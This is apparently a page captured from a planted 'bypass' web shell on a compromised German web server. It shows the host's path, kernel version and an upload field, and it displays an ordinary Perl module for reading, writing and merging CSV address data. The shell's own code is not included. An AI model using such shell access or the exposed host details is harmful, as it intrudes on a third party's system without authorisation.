Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/50_dev2017/1300__perllib/DStructure/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/50_dev2017/1300__perllib/DStructure/Address.pm

package DStructure::Address;
use Data::Dumper;
use Digest::MD5;
use strict;

$Data::Dumper::Sortkeys = 1;

sub new { bless({},$_[0]); }



#*****************************************************************

sub read_csv {

   my $self = shift;
   my $text = shift;

   my @v; my $erg; my $i; my $dataset; my $datafield; my $zeile; my $o;
   map { $_ =~ /^(.*?)(\n|$)/s; $v[++$i] = lc($1) } split(/ *[\;\n]+ */s,shift(@$text)); # Spaltenueberschriften lesen
   
   while ($zeile = shift(@$text)) {  # Datenzeilen einlesen
      $i = 0;
      $zeile =~ s/\n//;
      foreach $o (split(/\;/,$zeile)) {
         if ($o =~ s/^ *(\S)\: *(\S)/$2/) {
            $datafield = $1;
         } else {
            $datafield = $v[++$i];
         }
         if (exists ($dataset->{$datafield}) ) {
            push(@$erg,{%$dataset});
            $dataset = {};
         }
         $dataset->{$datafield} = $o;
      }
   }
   push(@$erg,{%$dataset}) if ($dataset and %$dataset);
   return($erg);
   
}

#*****************************************************************

sub write_csv {

   my $self    = shift;
   my $erg     = shift;       #  Feld mit Eintraegen
   my $spalten = shift;       #  Explizite Spalten
   my $felder  = shift;       #  Ordnung weiterer Felder
   my $rest    = shift || 1;  #  1: in EINER Zeile, 2: Zusatzfelder in zweiter Zeile,
                              #  3: Restfelder auch eigene Zeile, 4: jedes Zusatz- und Restfeld in eigener Zeile
                              #  negativ: auch noch fehlende Rest-Felder anzeigen
                         
   my $dataset; my $o; my $allfields; my $datarest; my $felder1; my $sp1; my $sp2; my $bez; my $sum;
   $allfields  = 1 if ($rest =~ s/\-//);
   $spalten    = [split(/\,/,$spalten)];
   $felder     = [split(/\,/,$felder)];
   my $text    = join("\;",@$spalten) . "\n";

   my $trenner = "; ";
   $trenner    = "\n" if ($rest == 4);
   my $sp      = {};
   
   foreach $dataset (@$erg) {
      map { $sp->{$_} ||= " ___TAB1___" . (sprintf("%09b",1023-length($_))) . "___" } keys %$dataset if ($rest == 4);
      $text = $text . "\n";
      $text = $text . join("\;", map { $dataset->{$_} } @$spalten);
      $datarest = {%$dataset};
      $felder1  = [];
      map { delete ($datarest->{$_}) if (!($datarest->{$_})) } keys %$datarest;
      map { push(@$felder1,$_) if ($datarest->{$_}) } (@$felder); 
      $text = $text . "\n" if (($rest == 2 or $rest == 3) and @$felder1);         
      $text = $text . join($trenner, "" , map { "$_: " . $sp->{$_} . $datarest->{$_} } @$felder1);
      next if (!$allfields);
      map { delete ($datarest->{$_}) } (@$spalten,@$felder); 
      $text = $text . "\n" if ($rest == 3 and %$datarest or $rest == 2 and !@$felder1);
      $text = $text . join($trenner, "" , map { "$_: " . $sp->{$_} . $datarest->{$_} } sort keys %$datarest);
      $text = $text . "\n" if ($rest == 4);
   }
   
   foreach $sum (1) {  #  minimale Einrueckung bestimmen
      $sp1 = "";
      while (0 == 0) {
         $sp1 = $sp1 . "0";
         next if ($text =~ /___TAB$sum\___$sp1/);
         $sp1 = substr($sp1,0,length($sp1)-1) . "1";
         last if ($text !~ /___TAB$sum\___$sp1/);
      }
      $sp1 = eval("0b".substr($sp1,0,length($sp1)-1));
      while (0 == 0) {  #  Spezielle Einrueckungen vornehmen
         last if ($text !~ /___TAB$sum\___([01]+)\___/);
         $bez  = $1;
         $sp2  = " " x  (eval("0b".$bez) - $sp1);
         $text =~ s/___TAB$sum\___$bez\___/$sp2/gs;
      }
   }

   return($text."\n");

}

#********************************************************************************

sub merge {

   my $self = shift;
   my $nr   = shift;  #  Minimale Anzahl an Uebereinstimmungen, negative Angabe: ueberschreiben
   my $erg  = shift;  #  Haupt-Branch
   my $erg1 = shift;  #  hineinzumergende Daten
   
   my $entry; my $entry1; my $o; my $zaehler;
 
   foreach $entry1 (@$erg1) {  #  Bestimmung des naechsten urspuenglichen Eintrages
      $entry1->{'___count___'} = 999999;
      foreach $entry (@$erg) {
         $zaehler = 0;
         foreach $o (keys %$entry1) {
            next if (!(exists $entry->{$o}));
            next if ($entry->{$o} eq $entry1->{$o});
            $zaehler = $zaehler + 1;
         }
         if ($zaehler < $entry1->{'___count___'}) {
            $entry1->{'___count___'} = $zaehler;
            $entry1->{'___MERGE___'} = $entry;
         }
# print "WWW: $entry1->{'___MERGE___'}->{'name'}  $entry1->{'name'} $zaehler\n";
         last if (!$zaehler);
      }
   }
   
   my $replace_field = ($nr =~ s/\-//);
   my $insert_count = 0;
   foreach $entry1 (@$erg1) {
      $entry = $entry1->{'___MERGE___'};
      if ($entry1->{'___count___'} < $nr) {
         foreach $o (keys $entry1) {
            next if ($o eq "___count___");
            next if ($o eq "___MERGE___");
            $entry->{$o} = "" if ($replace_field or $entry->{$o} eq $entry1->{$o});
            $entry->{$o} = $entry->{$o} . "|" if ($entry->{$o});
            $entry->{$o} = $entry->{$o} . $entry1->{$o};
         }
      } else {
         ++$insert_count;
         delete ($entry1->{'___MERGE___'});
         push(@$erg,$entry1);
      }
   }
   
   splice(@$erg,0,99999999, keys map { $_ => 1 } @$erg);  #  Doubletten loeschen
   return($insert_count);
   
}   

   
1;

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net